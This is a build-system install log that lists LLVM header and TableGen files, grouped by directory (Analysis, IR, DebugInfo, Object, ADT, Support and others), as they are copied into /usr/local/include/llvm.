-- Installing: /usr/local/include/llvm/Analysis/TargetTransformInfo.h
-- Installing: /usr/local/include/llvm/Analysis/CodeMetrics.h
-- Installing: /usr/local/include/llvm/Analysis/Passes.h
-- Installing: /usr/local/include/llvm/Analysis/IteratedDominanceFrontier.h
-- Installing: /usr/local/include/llvm/Analysis/TargetLibraryInfo.def
-- Installing: /usr/local/include/llvm/Analysis/CallPrinter.h
-- Installing: /usr/local/include/llvm/Analysis/BlockFrequencyInfo.h
-- Installing: /usr/local/include/llvm/Analysis/RegionInfoImpl.h
-- Installing: /usr/local/include/llvm/Analysis/TargetTransformInfoImpl.h
-- Installing: /usr/local/include/llvm/Analysis/LoopPass.h
-- Installing: /usr/local/include/llvm/Analysis/DemandedBits.h
-- Installing: /usr/local/include/llvm/Analysis/MemoryDependenceAnalysis.h
-- Installing: /usr/local/include/llvm/Analysis/InstructionSimplify.h
-- Installing: /usr/local/include/llvm/Analysis/CaptureTracking.h
-- Installing: /usr/local/include/llvm/Analysis/DOTGraphTraitsPass.h
-- Installing: /usr/local/include/llvm/Analysis/DominanceFrontier.h
-- Installing: /usr/local/include/llvm/Analysis/LibCallSemantics.h
-- Installing: /usr/local/include/llvm/Analysis/LoopAccessAnalysis.h
-- Installing: /usr/local/include/llvm/Analysis/RegionPass.h
-- Installing: /usr/local/include/llvm/Analysis/ScalarEvolutionExpressions.h
-- Installing: /usr/local/include/llvm/Analysis/CFG.h
-- Installing: /usr/local/include/llvm/Analysis/RegionPrinter.h
-- Installing: /usr/local/include/llvm/Analysis/CGSCCPassManager.h
-- Installing: /usr/local/include/llvm/Analysis/MemoryLocation.h
-- Installing: /usr/local/include/llvm/Analysis/ScopedNoAliasAA.h
-- Installing: /usr/local/include/llvm/Analysis/CallGraphSCCPass.h
-- Installing: /usr/local/include/llvm/Analysis/Loads.h
-- Installing: /usr/local/include/llvm/Analysis/ScalarEvolution.h
-- Installing: /usr/local/include/llvm/Analysis/ObjCARCAnalysisUtils.h
-- Installing: /usr/local/include/llvm/Analysis/ValueTracking.h
-- Installing: /usr/local/include/llvm/Analysis/InlineCost.h
-- Installing: /usr/local/include/llvm/Analysis/Lint.h
-- Installing: /usr/local/include/llvm/Analysis/ScalarEvolutionAliasAnalysis.h
-- Installing: /usr/local/include/llvm/Analysis/LoopInfoImpl.h
-- Installing: /usr/local/include/llvm/Analysis/TargetLibraryInfo.h
-- Installing: /usr/local/include/llvm/Analysis/PtrUseVisitor.h
-- Installing: /usr/local/include/llvm/Analysis/TargetFolder.h
-- Installing: /usr/local/include/llvm/Analysis/Trace.h
-- Installing: /usr/local/include/llvm/Analysis/LoopInfo.h
-- Installing: /usr/local/include/llvm/Analysis/DominanceFrontierImpl.h
-- Installing: /usr/local/include/llvm/Analysis/DependenceAnalysis.h
-- Installing: /usr/local/include/llvm/Analysis/ScalarEvolutionNormalization.h
-- Installing: /usr/local/include/llvm/Analysis/BlockFrequencyInfoImpl.h
-- Installing: /usr/local/include/llvm/Analysis/RegionInfo.h
-- Installing: /usr/local/include/llvm/Analysis/GlobalsModRef.h
-- Installing: /usr/local/include/llvm/Analysis/CFLAliasAnalysis.h
-- Installing: /usr/local/include/llvm/Analysis/LoopIterator.h
-- Installing: /usr/local/include/llvm/Analysis/ConstantFolding.h
-- Installing: /usr/local/include/llvm/Analysis/LazyCallGraph.h
-- Installing: /usr/local/include/llvm/Analysis/ObjCARCInstKind.h
-- Installing: /usr/local/include/llvm/Analysis/MemoryBuiltins.h
-- Installing: /usr/local/include/llvm/Analysis/PHITransAddr.h
-- Installing: /usr/local/include/llvm/Config
-- Installing: /usr/local/include/llvm/LinkAllPasses.h
-- Installing: /usr/local/include/llvm/Bitcode
-- Installing: /usr/local/include/llvm/Bitcode/BitcodeWriterPass.h
-- Installing: /usr/local/include/llvm/Bitcode/ReaderWriter.h
-- Installing: /usr/local/include/llvm/Bitcode/BitstreamReader.h
-- Installing: /usr/local/include/llvm/Bitcode/LLVMBitCodes.h
-- Installing: /usr/local/include/llvm/Bitcode/BitstreamWriter.h
-- Installing: /usr/local/include/llvm/Bitcode/BitCodes.h
-- Installing: /usr/local/include/llvm/Passes
-- Installing: /usr/local/include/llvm/Passes/PassBuilder.h
-- Installing: /usr/local/include/llvm/IR
-- Installing: /usr/local/include/llvm/IR/Mangler.h
-- Installing: /usr/local/include/llvm/IR/IntrinsicsAArch64.td
-- Installing: /usr/local/include/llvm/IR/IntrinsicsWebAssembly.td
-- Installing: /usr/local/include/llvm/IR/IRBuilder.h
-- Installing: /usr/local/include/llvm/IR/ValueMap.h
-- Installing: /usr/local/include/llvm/IR/DebugLoc.h
-- Installing: /usr/local/include/llvm/IR/LLVMContext.h
-- Installing: /usr/local/include/llvm/IR/GetElementPtrTypeIterator.h
-- Installing: /usr/local/include/llvm/IR/IntrinsicsPowerPC.td
-- Installing: /usr/local/include/llvm/IR/DIBuilder.h
-- Installing: /usr/local/include/llvm/IR/PassManagerInternal.h
-- Installing: /usr/local/include/llvm/IR/ValueHandle.h
-- Installing: /usr/local/include/llvm/IR/IntrinsicsAMDGPU.td
-- Installing: /usr/local/include/llvm/IR/Statepoint.h
-- Installing: /usr/local/include/llvm/IR/AssemblyAnnotationWriter.h
-- Installing: /usr/local/include/llvm/IR/Constant.h
-- Installing: /usr/local/include/llvm/IR/LegacyPassManager.h
-- Installing: /usr/local/include/llvm/IR/BasicBlock.h
-- Installing: /usr/local/include/llvm/IR/MetadataTracking.h
-- Installing: /usr/local/include/llvm/IR/GlobalObject.h
-- Installing: /usr/local/include/llvm/IR/InlineAsm.h
-- Installing: /usr/local/include/llvm/IR/Constants.h
-- Installing: /usr/local/include/llvm/IR/GlobalVariable.h
-- Installing: /usr/local/include/llvm/IR/TypeFinder.h
-- Installing: /usr/local/include/llvm/IR/Metadata.def
-- Installing: /usr/local/include/llvm/IR/TypeBuilder.h
-- Installing: /usr/local/include/llvm/IR/Instructions.h
-- Installing: /usr/local/include/llvm/IR/CallSite.h
-- Installing: /usr/local/include/llvm/IR/Instruction.def
-- Installing: /usr/local/include/llvm/IR/IRPrintingPasses.h
-- Installing: /usr/local/include/llvm/IR/IntrinsicsARM.td
-- Installing: /usr/local/include/llvm/IR/GlobalValue.h
-- Installing: /usr/local/include/llvm/IR/Operator.h
-- Installing: /usr/local/include/llvm/IR/IntrinsicsX86.td
-- Installing: /usr/local/include/llvm/IR/Value.h
-- Installing: /usr/local/include/llvm/IR/User.h
-- Installing: /usr/local/include/llvm/IR/Intrinsics.td
-- Installing: /usr/local/include/llvm/IR/SymbolTableListTraits.h
-- Installing: /usr/local/include/llvm/IR/Use.h
-- Installing: /usr/local/include/llvm/IR/Metadata.h
-- Installing: /usr/local/include/llvm/IR/GlobalAlias.h
-- Installing: /usr/local/include/llvm/IR/DataLayout.h
-- Installing: /usr/local/include/llvm/IR/PatternMatch.h
-- Installing: /usr/local/include/llvm/IR/Instruction.h
-- Installing: /usr/local/include/llvm/IR/CFG.h
-- Installing: /usr/local/include/llvm/IR/DerivedTypes.h
-- Installing: /usr/local/include/llvm/IR/Function.h
-- Installing: /usr/local/include/llvm/IR/TrackingMDRef.h
-- Installing: /usr/local/include/llvm/IR/Comdat.h
-- Installing: /usr/local/include/llvm/IR/DebugInfoFlags.def
-- Installing: /usr/local/include/llvm/IR/IntrinsicsHexagon.td
-- Installing: /usr/local/include/llvm/IR/PassManager.h
-- Installing: /usr/local/include/llvm/IR/DebugInfoMetadata.h
-- Installing: /usr/local/include/llvm/IR/CallingConv.h
-- Installing: /usr/local/include/llvm/IR/IntrinsicsSystemZ.td
-- Installing: /usr/local/include/llvm/IR/Attributes.h
-- Installing: /usr/local/include/llvm/IR/IntrinsicInst.h
-- Installing: /usr/local/include/llvm/IR/IntrinsicsMips.td
-- Installing: /usr/local/include/llvm/IR/DebugInfo.h
-- Installing: /usr/local/include/llvm/IR/DiagnosticInfo.h
-- Installing: /usr/local/include/llvm/IR/IntrinsicsNVVM.td
-- Installing: /usr/local/include/llvm/IR/ValueSymbolTable.h
-- Installing: /usr/local/include/llvm/IR/Argument.h
-- Installing: /usr/local/include/llvm/IR/Type.h
-- Installing: /usr/local/include/llvm/IR/UseListOrder.h
-- Installing: /usr/local/include/llvm/IR/PredIteratorCache.h
-- Installing: /usr/local/include/llvm/IR/LegacyPassManagers.h
-- Installing: /usr/local/include/llvm/IR/Value.def
-- Installing: /usr/local/include/llvm/IR/OperandTraits.h
-- Installing: /usr/local/include/llvm/IR/Intrinsics.h
-- Installing: /usr/local/include/llvm/IR/InstrTypes.h
-- Installing: /usr/local/include/llvm/IR/ConstantFolder.h
-- Installing: /usr/local/include/llvm/IR/MDBuilder.h
-- Installing: /usr/local/include/llvm/IR/DiagnosticPrinter.h
-- Installing: /usr/local/include/llvm/IR/ModuleSlotTracker.h
-- Installing: /usr/local/include/llvm/IR/InstIterator.h
-- Installing: /usr/local/include/llvm/IR/Verifier.h
-- Installing: /usr/local/include/llvm/IR/InstVisitor.h
-- Installing: /usr/local/include/llvm/IR/Module.h
-- Installing: /usr/local/include/llvm/IR/Dominators.h
-- Installing: /usr/local/include/llvm/IR/IntrinsicsXCore.td
-- Installing: /usr/local/include/llvm/IR/AutoUpgrade.h
-- Installing: /usr/local/include/llvm/IR/ConstantRange.h
-- Installing: /usr/local/include/llvm/IR/IntrinsicsBPF.td
-- Installing: /usr/local/include/llvm/IR/LegacyPassNameParser.h
-- Installing: /usr/local/include/llvm/IR/GVMaterializer.h
-- Installing: /usr/local/include/llvm/IR/NoFolder.h
-- Installing: /usr/local/include/llvm/PassRegistry.h
-- Installing: /usr/local/include/llvm/LTO
-- Installing: /usr/local/include/llvm/LTO/LTOModule.h
-- Installing: /usr/local/include/llvm/LTO/LTOCodeGenerator.h
-- Installing: /usr/local/include/llvm/DebugInfo
-- Installing: /usr/local/include/llvm/DebugInfo/DIContext.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolTypeBaseClass.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolTypeUDT.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDB.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolPublicSymbol.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolTypePointer.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbol.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/IPDBSourceFile.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolTypeFunctionArg.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolExe.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/IPDBSession.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/DIA
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/DIA/DIARawSymbol.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/DIA/DIAEnumSourceFiles.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/DIA/DIADataStream.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/DIA/DIAEnumDebugStreams.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/DIA/DIALineNumber.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/DIA/DIASourceFile.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/DIA/DIAEnumSymbols.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/DIA/DIASession.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/DIA/DIAEnumLineNumbers.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/DIA/DIASupport.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolThunk.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/ConcreteSymbolEnumerator.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolTypeFunctionSig.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBContext.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/IPDBEnumChildren.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymDumper.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolBlock.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolCompilandDetails.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolTypeTypedef.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolAnnotation.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolTypeCustom.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolCompilandEnv.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolLabel.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/IPDBDataStream.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolTypeDimension.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolTypeEnum.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolTypeVTable.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/IPDBRawSymbol.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/IPDBLineNumber.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBExtras.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolFuncDebugStart.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolTypeArray.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBTypes.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolTypeVTableShape.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolTypeFriend.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolFunc.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolCompiland.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolCustom.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolTypeManaged.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolFuncDebugEnd.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolUsingNamespace.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolData.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolTypeBuiltin.h
-- Installing: /usr/local/include/llvm/DebugInfo/PDB/PDBSymbolUnknown.h
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF/DWARFDebugRangeList.h
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF/DWARFCompileUnit.h
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF/DWARFDebugLine.h
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF/DWARFUnit.h
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF/DWARFDebugAranges.h
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF/DWARFFormValue.h
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF/DWARFDebugFrame.h
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF/DWARFDebugInfoEntry.h
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF/DWARFDebugArangeSet.h
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF/DWARFDebugLoc.h
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF/DWARFTypeUnit.h
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF/DWARFSection.h
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF/DWARFAbbreviationDeclaration.h
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF/DWARFRelocMap.h
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF/DWARFAcceleratorTable.h
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF/DWARFContext.h
-- Installing: /usr/local/include/llvm/DebugInfo/DWARF/DWARFDebugAbbrev.h
-- Installing: /usr/local/include/llvm/InitializePasses.h
-- Installing: /usr/local/include/llvm/Option
-- Installing: /usr/local/include/llvm/Option/OptSpecifier.h
-- Installing: /usr/local/include/llvm/Option/ArgList.h
-- Installing: /usr/local/include/llvm/Option/OptParser.td
-- Installing: /usr/local/include/llvm/Option/OptTable.h
-- Installing: /usr/local/include/llvm/Option/Arg.h
-- Installing: /usr/local/include/llvm/Option/Option.h
-- Installing: /usr/local/include/llvm/Object
-- Installing: /usr/local/include/llvm/Object/ELFYAML.h
-- Installing: /usr/local/include/llvm/Object/Binary.h
-- Installing: /usr/local/include/llvm/Object/ELFObjectFile.h
-- Installing: /usr/local/include/llvm/Object/COFF.h
-- Installing: /usr/local/include/llvm/Object/COFFImportFile.h
-- Installing: /usr/local/include/llvm/Object/Error.h
-- Installing: /usr/local/include/llvm/Object/SymbolSize.h
-- Installing: /usr/local/include/llvm/Object/MachOUniversal.h
-- Installing: /usr/local/include/llvm/Object/MachO.h
-- Installing: /usr/local/include/llvm/Object/StackMapParser.h
-- Installing: /usr/local/include/llvm/Object/SymbolicFile.h
-- Installing: /usr/local/include/llvm/Object/RelocVisitor.h
-- Installing: /usr/local/include/llvm/Object/ELFTypes.h
-- Installing: /usr/local/include/llvm/Object/ArchiveWriter.h
-- Installing: /usr/local/include/llvm/Object/Archive.h
-- Installing: /usr/local/include/llvm/Object/ObjectFile.h
-- Installing: /usr/local/include/llvm/Object/ELF.h
-- Installing: /usr/local/include/llvm/Object/IRObjectFile.h
-- Installing: /usr/local/include/llvm/Object/COFFYAML.h
-- Installing: /usr/local/include/llvm/ProfileData
-- Installing: /usr/local/include/llvm/ProfileData/InstrProfWriter.h
-- Installing: /usr/local/include/llvm/ProfileData/SampleProf.h
-- Installing: /usr/local/include/llvm/ProfileData/CoverageMappingReader.h
-- Installing: /usr/local/include/llvm/ProfileData/InstrProfReader.h
-- Installing: /usr/local/include/llvm/ProfileData/CoverageMapping.h
-- Installing: /usr/local/include/llvm/ProfileData/CoverageMappingWriter.h
-- Installing: /usr/local/include/llvm/ProfileData/SampleProfWriter.h
-- Installing: /usr/local/include/llvm/ProfileData/InstrProf.h
-- Installing: /usr/local/include/llvm/ProfileData/SampleProfReader.h
-- Installing: /usr/local/include/llvm/Target
-- Installing: /usr/local/include/llvm/Target/TargetCallingConv.h
-- Installing: /usr/local/include/llvm/Target/TargetInstrInfo.h
-- Installing: /usr/local/include/llvm/Target/TargetLowering.h
-- Installing: /usr/local/include/llvm/Target/TargetSelectionDAGInfo.h
-- Installing: /usr/local/include/llvm/Target/TargetSchedule.td
-- Installing: /usr/local/include/llvm/Target/TargetIntrinsicInfo.h
-- Installing: /usr/local/include/llvm/Target/Target.td
-- Installing: /usr/local/include/llvm/Target/TargetFrameLowering.h
-- Installing: /usr/local/include/llvm/Target/TargetRecip.h
-- Installing: /usr/local/include/llvm/Target/TargetSubtargetInfo.h
-- Installing: /usr/local/include/llvm/Target/CostTable.h
-- Installing: /usr/local/include/llvm/Target/TargetItinerary.td
-- Installing: /usr/local/include/llvm/Target/TargetCallingConv.td
-- Installing: /usr/local/include/llvm/Target/TargetSelectionDAG.td
-- Installing: /usr/local/include/llvm/Target/TargetLoweringObjectFile.h
-- Installing: /usr/local/include/llvm/Target/TargetOptions.h
-- Installing: /usr/local/include/llvm/Target/TargetRegisterInfo.h
-- Installing: /usr/local/include/llvm/Target/TargetMachine.h
-- Installing: /usr/local/include/llvm/Target/TargetOpcodes.h
-- Installing: /usr/local/include/llvm/ADT
-- Installing: /usr/local/include/llvm/ADT/Optional.h
-- Installing: /usr/local/include/llvm/ADT/PriorityQueue.h
-- Installing: /usr/local/include/llvm/ADT/MapVector.h
-- Installing: /usr/local/include/llvm/ADT/SetOperations.h
-- Installing: /usr/local/include/llvm/ADT/SmallString.h
-- Installing: /usr/local/include/llvm/ADT/SmallPtrSet.h
-- Installing: /usr/local/include/llvm/ADT/GraphTraits.h
-- Installing: /usr/local/include/llvm/ADT/StringSwitch.h
-- Installing: /usr/local/include/llvm/ADT/PointerUnion.h
-- Installing: /usr/local/include/llvm/ADT/APSInt.h
-- Installing: /usr/local/include/llvm/ADT/IntrusiveRefCntPtr.h
-- Installing: /usr/local/include/llvm/ADT/StringRef.h
-- Installing: /usr/local/include/llvm/ADT/DenseMapInfo.h
-- Installing: /usr/local/include/llvm/ADT/SmallBitVector.h
-- Installing: /usr/local/include/llvm/ADT/DenseSet.h
-- Installing: /usr/local/include/llvm/ADT/STLExtras.h
-- Installing: /usr/local/include/llvm/ADT/DAGDeltaAlgorithm.h
-- Installing: /usr/local/include/llvm/ADT/PointerIntPair.h
-- Installing: /usr/local/include/llvm/ADT/SCCIterator.h
-- Installing: /usr/local/include/llvm/ADT/FoldingSet.h
-- Installing: /usr/local/include/llvm/ADT/StringExtras.h
-- Installing: /usr/local/include/llvm/ADT/PackedVector.h
-- Installing: /usr/local/include/llvm/ADT/edit_distance.h
-- Installing: /usr/local/include/llvm/ADT/EquivalenceClasses.h
-- Installing: /usr/local/include/llvm/ADT/APFloat.h
-- Installing: /usr/local/include/llvm/ADT/iterator_range.h
-- Installing: /usr/local/include/llvm/ADT/ImmutableSet.h
-- Installing: /usr/local/include/llvm/ADT/None.h
-- Installing: /usr/local/include/llvm/ADT/SparseMultiSet.h
-- Installing: /usr/local/include/llvm/ADT/DenseMap.h
-- Installing: /usr/local/include/llvm/ADT/BitVector.h
-- Installing: /usr/local/include/llvm/ADT/IntervalMap.h
-- Installing: /usr/local/include/llvm/ADT/UniqueVector.h
-- Installing: /usr/local/include/llvm/ADT/TinyPtrVector.h
-- Installing: /usr/local/include/llvm/ADT/VariadicFunction.h
-- Installing: /usr/local/include/llvm/ADT/StringMap.h
-- Installing: /usr/local/include/llvm/ADT/StringSet.h
-- Installing: /usr/local/include/llvm/ADT/ImmutableList.h
-- Installing: /usr/local/include/llvm/ADT/Twine.h
-- Installing: /usr/local/include/llvm/ADT/ScopedHashTable.h
-- Installing: /usr/local/include/llvm/ADT/SmallVector.h
-- Installing: /usr/local/include/llvm/ADT/SparseBitVector.h
-- Installing: /usr/local/include/llvm/ADT/APInt.h
-- Installing: /usr/local/include/llvm/ADT/SmallSet.h
-- Installing: /usr/local/include/llvm/ADT/PostOrderIterator.h
-- Installing: /usr/local/include/llvm/ADT/Triple.h
-- Installing: /usr/local/include/llvm/ADT/iterator.h
-- Installing: /usr/local/include/llvm/ADT/SparseSet.h
-- Installing: /usr/local/include/llvm/ADT/ilist.h
-- Installing: /usr/local/include/llvm/ADT/ArrayRef.h
-- Installing: /usr/local/include/llvm/ADT/EpochTracker.h
-- Installing: /usr/local/include/llvm/ADT/ilist_node.h
-- Installing: /usr/local/include/llvm/ADT/IndexedMap.h
-- Installing: /usr/local/include/llvm/ADT/SetVector.h
-- Installing: /usr/local/include/llvm/ADT/DepthFirstIterator.h
-- Installing: /usr/local/include/llvm/ADT/ImmutableMap.h
-- Installing: /usr/local/include/llvm/ADT/Hashing.h
-- Installing: /usr/local/include/llvm/ADT/IntEqClasses.h
-- Installing: /usr/local/include/llvm/ADT/Statistic.h
-- Installing: /usr/local/include/llvm/ADT/DeltaAlgorithm.h
-- Installing: /usr/local/include/llvm/PassAnalysisSupport.h
-- Installing: /usr/local/include/llvm/TableGen
-- Installing: /usr/local/include/llvm/TableGen/SetTheory.h
-- Installing: /usr/local/include/llvm/TableGen/Error.h
-- Installing: /usr/local/include/llvm/TableGen/Record.h
-- Installing: /usr/local/include/llvm/TableGen/StringMatcher.h
-- Installing: /usr/local/include/llvm/TableGen/TableGenBackend.h
-- Installing: /usr/local/include/llvm/TableGen/StringToOffsetTable.h
-- Installing: /usr/local/include/llvm/TableGen/Main.h
-- Installing: /usr/local/include/llvm/LibDriver
-- Installing: /usr/local/include/llvm/LibDriver/LibDriver.h
-- Installing: /usr/local/include/llvm/Support
-- Installing: /usr/local/include/llvm/Support/Registry.h
-- Installing: /usr/local/include/llvm/Support/TrailingObjects.h
-- Installing: /usr/local/include/llvm/Support/GCOV.h
-- Installing: /usr/local/include/llvm/Support/Allocator.h
-- Installing: /usr/local/include/llvm/Support/RecyclingAllocator.h
-- Installing: /usr/local/include/llvm/Support/StreamingMemoryObject.h
-- Installing: /usr/local/include/llvm/Support/FileSystem.h
-- Installing: /usr/local/include/llvm/Support/Endian.h
-- Installing: /usr/local/include/llvm/Support/Dwarf.def
-- Installing: /usr/local/include/llvm/Support/DOTGraphTraits.h
-- Installing: /usr/local/include/llvm/Support/PointerLikeTypeTraits.h
-- Installing: /usr/local/include/llvm/Support/RandomNumberGenerator.h
-- Installing: /usr/local/include/llvm/Support/CBindingWrapping.h
-- Installing: /usr/local/include/llvm/Support/Casting.h
-- Installing: /usr/local/include/llvm/Support/Path.h
-- Installing: /usr/local/include/llvm/Support/COM.h
-- Installing: /usr/local/include/llvm/Support/LEB128.h
-- Installing: /usr/local/include/llvm/Support/Process.h
-- Installing: /usr/local/include/llvm/Support/Program.h
-- Installing: /usr/local/include/llvm/Support/ConvertUTF.h
-- Installing: /usr/local/include/llvm/Support/COFF.h
-- Installing: /usr/local/include/llvm/Support/Mutex.h
-- Installing: /usr/local/include/llvm/Support/type_traits.h
-- Installing: /usr/local/include/llvm/Support/Format.h
-- Installing: /usr/local/include/llvm/Support/Recycler.h
-- Installing: /usr/local/include/llvm/Support/TargetRegistry.h
-- Installing: /usr/local/include/llvm/Support/Atomic.h
-- Installing: /usr/local/include/llvm/Support/MipsABIFlags.h
-- Installing: /usr/local/include/llvm/Support/Host.h
-- Installing: /usr/local/include/llvm/Support/MutexGuard.h
-- Installing: /usr/local/include/llvm/Support/Dwarf.h
-- Installing: /usr/local/include/llvm/Support/RegistryParser.h
-- Installing: /usr/local/include/llvm/Support/FormattedStream.h
-- Installing: /usr/local/include/llvm/Support/SystemUtils.h
-- Installing: /usr/local/include/llvm/Support/ARMBuildAttributes.h
-- Installing: /usr/local/include/llvm/Support/PluginLoader.h
-- Installing: /usr/local/include/llvm/Support/DataExtractor.h
-- Installing: /usr/local/include/llvm/Support/TargetParser.h
-- Installing: /usr/local/include/llvm/Support/Memory.h
-- Installing: /usr/local/include/llvm/Support/MachO.h
-- Installing: /usr/local/include/llvm/Support/BlockFrequency.h
-- Installing: /usr/local/include/llvm/Support/Win64EH.h
-- Installing: /usr/local/include/llvm/Support/OnDiskHashTable.h
-- Installing: /usr/local/include/llvm/Support/ThreadLocal.h
-- Installing: /usr/local/include/llvm/Support/AIXDataTypesFix.h
-- Installing: /usr/local/include/llvm/Support/ArrayRecycler.h
-- Installing: /usr/local/include/llvm/Support/ErrorOr.h
-- Installing: /usr/local/include/llvm/Support/WindowsError.h
-- Installing: /usr/local/include/llvm/Support/DynamicLibrary.h
-- Installing: /usr/local/include/llvm/Support/CodeGen.h
-- Installing: /usr/local/include/llvm/Support/PrettyStackTrace.h
-- Installing: /usr/local/include/llvm/Support/Debug.h
-- Installing: /usr/local/include/llvm/Support/raw_ostream.h
-- Installing: /usr/local/include/llvm/Support/Capacity.h
-- Installing: /usr/local/include/llvm/Support/ARMWinEH.h
-- Installing: /usr/local/include/llvm/Support/MD5.h
-- Installing: /usr/local/include/llvm/Support/SpecialCaseList.h
-- Installing: /usr/local/include/llvm/Support/UnicodeCharRanges.h
-- Installing: /usr/local/include/llvm/Support/SourceMgr.h
-- Installing: /usr/local/include/llvm/Support/raw_os_ostream.h
-- Installing: /usr/local/include/llvm/Support/SaveAndRestore.h
-- Installing: /usr/local/include/llvm/Support/Valgrind.h
-- Installing: /usr/local/include/llvm/Support/LICENSE.TXT
-- Installing: /usr/local/include/llvm/Support/StringPool.h
-- Installing: /usr/local/include/llvm/Support/JamCRC.h
-- Installing: /usr/local/include/llvm/Support/TargetSelect.h
-- Installing: /usr/local/include/llvm/Support/ARMEHABI.h
-- Installing: /usr/local/include/llvm/Support/Compiler.h
-- Installing: /usr/local/include/llvm/Support/LineIterator.h
-- Installing: /usr/local/include/llvm/Support/thread.h
-- Installing: /usr/local/include/llvm/Support/LockFileManager.h
-- Installing: /usr/local/include/llvm/Support/RWMutex.h
-- Installing: /usr/local/include/llvm/Support/YAMLTraits.h
-- Installing: /usr/local/include/llvm/Support/Regex.h
-- Installing: /usr/local/include/llvm/Support/UniqueLock.h
-- Installing: /usr/local/include/llvm/Support/Compression.h
-- Installing: /usr/local/include/llvm/Support/Unicode.h
-- Installing: /usr/local/include/llvm/Support/GenericDomTree.h
-- Installing: /usr/local/include/llvm/Support/ToolOutputFile.h
-- Installing: /usr/local/include/llvm/Support/DataStream.h
-- Installing: /usr/local/include/llvm/Support/Signals.h
-- Installing: /usr/local/include/llvm/Support/EndianStream.h
-- Installing: /usr/local/include/llvm/Support/Timer.h
-- Installing: /usr/local/include/llvm/Support/Solaris.h
-- Installing: /usr/local/include/llvm/Support/Errc.h
-- Installing: /usr/local/include/llvm/Support/circular_raw_ostream.h
-- Installing: /usr/local/include/llvm/Support/AlignOf.h
-- Installing: /usr/local/include/llvm/Support/Threading.h
-- Installing: /usr/local/include/llvm/Support/ErrorHandling.h
-- Installing: /usr/local/include/llvm/Support/BranchProbability.h
-- Installing: /usr/local/include/llvm/Support/GraphWriter.h
-- Installing: /usr/local/include/llvm/Support/ELFRelocs
-- Installing: /usr/local/include/llvm/Support/ELFRelocs/Mips.def
-- Installing: /usr/local/include/llvm/Support/ELFRelocs/PowerPC.def
-- Installing: /usr/local/include/llvm/Support/ELFRelocs/x86_64.def
-- Installing: /usr/local/include/llvm/Support/ELFRelocs/Hexagon.def
